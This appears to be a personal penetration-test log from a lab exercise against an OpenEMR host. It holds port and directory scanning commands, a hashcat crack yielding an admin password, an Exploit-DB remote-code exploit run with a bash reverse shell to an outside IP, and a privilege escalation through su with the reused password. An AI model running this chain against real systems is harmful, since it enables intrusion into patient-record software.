Arin

๐Ÿงช Pentest Log: {{date:2025-07-25}}

๐Ÿ” Target Information

ip=192.168.222.185

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 43

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

dirsearch -u http://$ip/openemr -r -o dirsearch.txt

๐Ÿ’ฃ Exploitation / Foothold

Tool / Script Used:

Hashcat

crack the hash using hashcat

hashcat -m 3200 'hash.txt' '/home/kali/Documents/oscp/rockyou.txt' --force
admin:thedoctor

https://www.exploit-db.com/exploits/45161

searchsploit -m 45161


python2 45161.py http://$ip/openemr -u admin -p thedoctor -c 'bash -i >& /dev/tcp/192.168.45.163/1337 0>&1'

nc -lvnp 1337

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

SUID:

**find / -type f -perm -4000 2>/dev/null**

found the /bin/su

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

su

password:thedoctor